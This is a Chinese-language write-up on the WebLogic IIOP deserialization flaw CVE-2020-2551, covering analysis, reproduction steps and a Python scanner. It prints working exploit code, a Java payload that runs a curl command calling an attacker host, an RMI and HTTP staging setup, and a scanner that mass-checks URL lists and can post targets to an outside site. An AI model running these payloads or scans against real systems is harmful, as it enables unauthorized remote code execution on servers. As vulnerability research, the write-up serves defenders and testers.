跳转至

CVE-2020-2551 Weblogic CVE-2020-2551 IIOP协议反序列化rce

一、漏洞简介

二、漏洞影响

三、复现过程

漏洞分析

现在我们来看这个漏洞。IIOP传输的过程中会自动序列化和反序列化,那么我们可以通过向服务器7001端口发送一个恶意的序列化对象,IIOP达到RCE。

发送恶意序列化对象的过程,其实就是bind的过程,由此我们可以构造请求

Hashtable<String, String> env = new Hashtable<String, String>();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);

Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("Y4er"+System.nanoTime(), remote);
Hashtable<String, String> env = new Hashtable<String, String>();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);

Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("Y4er"+System.nanoTime(), remote);

你肯定疑惑JtaTransactionManager和weblogic.jndi.WLInitialContextFactory是从哪来的?

  1. JtaTransactionManager是spring爆出的一个可以JNDI注入的类,在weblogic中也存在。
  2. weblogic.jndi.WLInitialContextFactory 是weblogic的JNDI工厂类。

国际惯例,跟一下流程,IIOP解析数据流的部分看不懂不跟了,从IIOP开始反序列化对象开始

E:/source/java/Weblogic/src/main/resources/lib/modules/weblogic.jar!/weblogic/iiop/IIOPInputStream.class:1725

此时var2是序列化传入的com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager,跟进readValue()

跟进readValueData(),判断是否有readObject方法之后进入自身的readObject(),也就是om.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager的readObject

然后通过反射调用JtaTransactionManager的readObject(),跟进

到此之后就是Weblogic的CVE-2018-3191 spring JNDI注入了,简单来说就是lookup()的参数可控,导致可以加载任意类。我们继续跟进initUserTransactionAndTransactionManager()

如果userTransaction等于空有userTransactionName属性则进入lookupUserTransaction(),跟进

此时lookup()参数可控

lookup加载我们的RMI服务,可以注入恶意ip的rmi服务,触发实例化恶意类构造方法调用

漏洞复现

https://github.com/ianxtianxt/CVE-2020-2551

下载jar包,然后使用marshalsec起一个恶意的RMI服务,本地编译一个exp.java

package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

尽量使用和weblogic相同的版本编译 然后本地起一个web服务器

python -m http.server --bind 0.0.0.0 80

命令行运行jar包

java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp

实际效果如图

82a0abee2e1b4a19ae52db4ebd41c59e

python脚本

How use

python3 CVE-2020-2551.py -u http://192.168.26.79:7001
cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
cat xxx.html|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|xargs -I % python3 CVE-2020-2551.py -u %
# 32 Thread check
cat allXXurl.txt|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|python3 CVE-2020-2551.py -e

t3, t3s, http, https, iiop, iiops

service:jmx:rmi://url:port/jndi/iiop://ip:port/MBean-server-JNDI-name
service:jmx:iiop://url:port/jndi/weblogic.management.mbeanservers.domainruntime
service:jmx:t3://url:port/jndi/weblogic.management.mbeanservers.domainruntime
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import socket,argparse,sys,requests
from urllib.parse import urlparse
from multiprocessing.dummy import  Pool as ThreadPool
"""
only check CVE-2020-2551 vuls
Twitter: @Hktalent3135773
Creator: 51pwn_com
Site: https://51pwn.com
How use:
python3 CVE-2020-2551.py -u http://192.168.26.79:7001
# 32 Thread check
cat allXXurl.txt|grep -Eo 'http[s]?:\/\/[^ \/]+'|sort -u|python3 CVE-2020-2551.py -e
"""

def doThreads(fnCbk,lists,nThreads=32):
    pool = ThreadPool(nThreads)
    pool.map(fnCbk,lists)
    pool.close()
    pool.join()

def checkOnline(url,cbkUrl):
    try:
        requests.post('http://51pwn.com/CVE-2020-2551/',data={'url':url,cbkUrl:cbkUrl},timeout=(5,9))
    except Exception as e:
        pass

def doSendOne(ip,port,data):
    sock=None
    res=None
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(7)
        server_addr = (ip, int(port))
        sock.connect(server_addr)
        sock.send(data)
        res = sock.recv(20)
        if b'GIOP' in res:
            #checkOnline(ip+':'+str(port),'http://yourSite/?target={}&rst={}')
            return True
    except Exception as e:
        pass
    finally:
        if sock!=None:
            sock.close()
    return False
g_bPipe=False
def doOne(url):
    global g_bPipe
    oH=urlparse(url)
    a=oH.netloc.split(':')
    port=80
    if 2 == len(a):
        port=a[1]
    elif 'https' in oH.scheme:
        port=443
    if doSendOne(a[0],port,bytes.fromhex('47494f50010200030000001700000002000000000000000b4e616d6553657276696365')):
        print('found CVE-2020-2551 ', oH.netloc)
    elif g_bPipe == False:
        print('not found CVE-2020-2551 ', oH.netloc)

def doPipe():
    global g_bPipe
    g_bPipe=True
    buff = ''
    a=[]
    while True:
        buff = sys.stdin.readline()
        if not buff:
            break 
        if buff.endswith('\n'):
            szTmpCmd = buff[:-1]
            szTmpCmd=szTmpCmd.rstrip()
        buff = ''
        if not szTmpCmd:
            break 
        a.append(szTmpCmd)
    doThreads(doOne,a)

if __name__=='__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-u","--url",help="http://xxx.xxx.xxx:7001/")
    parser.add_argument("-e","--pipeCheck",help="pipe check is Ok,thread 32",action="store_true")
    args = parser.parse_args()
    if args.url:
        doOne(args.url)
    if args.pipeCheck:
        doPipe()
© 2020 GitHub, Inc.

参考链接

https://y4er.com/post/weblogic-cve-2020-2551/

https://github.com/hktalent/CVE-2020-2551